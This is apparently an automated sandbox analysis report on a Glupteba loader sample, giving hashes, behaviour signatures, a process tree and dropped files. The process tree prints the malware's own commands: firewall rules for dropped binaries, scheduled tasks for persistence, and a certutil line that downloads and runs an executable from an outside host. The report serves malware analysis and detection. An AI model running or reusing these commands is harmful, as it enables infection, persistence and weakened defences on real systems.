Analysis

  • max time kernel
    146s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-06-2024 16:53

General

  • Target

    a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    a6996f92201f52dfbfd85c841d6c8d04

  • SHA1

    48a880fbd32d897ae019d1b1237aad3e7586ee2b

  • SHA256

    7d6252a0581bc43ac81e53210cbca042202ac43acec17dfe59eca5cea30dfdd8

  • SHA512

    d49ccb8cee040ce46c24f14439141fbf3d2eacbb16c76afbf504bfb865e5135c9e02f32d4e4db720e1de29688e6630f4f1d37df041b3c6631db0f756919a5fbe

  • SSDEEP

    98304:Ob09+64ZfKhGeWcR2wG3iC/KpHmH3GkY/2a/xB:qO6ZfKh5wc5m2JJ7

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:744
    • C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\a6996f92201f52dfbfd85c841d6c8d04_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2312
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3616
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:3372
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9b51cbf48c6d\9b51cbf48c6d.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1376
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9b51cbf48c6d\9b51cbf48c6d.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:556
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:4780
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:3080
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4572
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2740
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3884,i,7977653611488681184,6839495125838449898,262144 --variations-seed-version --mojo-platform-channel-handle=1292 /prefetch:8
    1⤵
      PID:3748

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

      Filesize

      1.7MB

      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Windows\rss\csrss.exe

      Filesize

      3.7MB

      MD5

      a6996f92201f52dfbfd85c841d6c8d04

      SHA1

      48a880fbd32d897ae019d1b1237aad3e7586ee2b

      SHA256

      7d6252a0581bc43ac81e53210cbca042202ac43acec17dfe59eca5cea30dfdd8

      SHA512

      d49ccb8cee040ce46c24f14439141fbf3d2eacbb16c76afbf504bfb865e5135c9e02f32d4e4db720e1de29688e6630f4f1d37df041b3c6631db0f756919a5fbe

    • memory/744-2-0x0000000001A30000-0x000000000212C000-memory.dmp

      Filesize

      7.0MB

    • memory/744-3-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/744-4-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/744-6-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/744-5-0x0000000001A30000-0x000000000212C000-memory.dmp

      Filesize

      7.0MB

    • memory/744-1-0x0000000001670000-0x0000000001A26000-memory.dmp

      Filesize

      3.7MB

    • memory/2292-27-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-26-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-33-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-20-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-21-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-22-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-23-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-24-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-25-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-32-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-31-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-28-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-29-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2292-30-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2312-8-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2312-15-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2312-9-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB